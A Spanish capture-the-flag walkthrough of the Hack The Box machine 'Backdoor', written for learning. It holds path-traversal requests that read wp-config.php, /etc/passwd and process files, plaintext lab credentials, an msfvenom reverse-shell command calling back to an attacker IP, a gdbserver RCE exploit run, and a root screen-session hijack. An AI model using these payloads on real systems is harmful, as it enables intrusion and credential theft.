En este post voy a vulnerar la máquina Backdoor de Hack The Box. Es una máquina Linux, de nivel fácil, basada en un Remote Code Execution (RCE) y permisos de procesos en ejecución.
Enumeración
Comienzo escaneado los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo.
nmap -p- --open -n --min-rate 5000 10.10.11.125 -Pn
En la máquina hay tres puertos abiertos. Escaneo los puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.
nmap -p22,80,1337 -sC -sV 10.10.11.125

HTTP
Entro en la web del puerto 80, y lo primero que me voy es una de las plantillas por defecto de WordPress.

Escaneo la web utilizando wpscan enumerando todos los plugins (de forma agresiva), los temas mas populares y los usuarios.
wpscan --url http://10.10.11.125/ -e ap,t,u --plugins-detection aggressive

En el escaneo encuentro el plugin ebook-download, que tiene una vulnerabilidad de Directory Listing y el usuario admin.


Investigo un poco y encuentro esta guía en exploit-db para aprovechar la vulnerabilidad encontrada. Sigo la guía y accedo al fichero readme.txt dirigiéndome a la ruta http://10.10.11.125/wp-content/plugins/ebook-download/readme.txt.

Siendo un WordPress, lo primero que se me ocurre es ir al fichero wp-config.php para buscar credenciales. Para ello me dirijo a la ruta http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php y consigo una contraseña.


Consigo las credenciales wordpressuser:MQYBJSaD#DxG6qbm pero no puedo autenticarme con ellas en el sistema. Saco el contenido de /etc/passwd para buscar algún otro usuario al que poder autenticarme pero tampoco lo consigo.
curl http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../etc/passwd

Reviso los procesos internos que se están ejecutando en el sistema y veo que se está ejecutando gdbserver.
curl http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../proc/sched_debug

Leo la cmdline del proceso y veo que se está ejecutando en el puerto 1337 (que está abierto pero desconocía el servicio).
curl http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../proc/1416/cmdline --output cmdline cat cmdline

Explotación
Busco un poco y enseguida encuentro esta guía para RCE en gdbserver de exploit-db. Primero tengo que crear un binario malicioso con msfvenom.
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.3 LPORT=1337 PrependFork=true -o rev.bin
Pongo un netcat a la escucha por el puerto 1337 y ejecuto el exploit, consiguiendo una shell reversa.
python3 50539.py 10.10.11.125:1337 rev.bin


La flag de usuario la encuentro en /home/user/local.txt.

Escalada de Privilegios
Enumero los procesos y veo que screen se está ejecutando como root.

Unirme a este proceso es muy sencillo, solamente tengo que ejecutar el siguiente comando y ya consigo una shell de root.
screen -x root/root

La flag de root la encuentro en la ruta /root/root.txt.

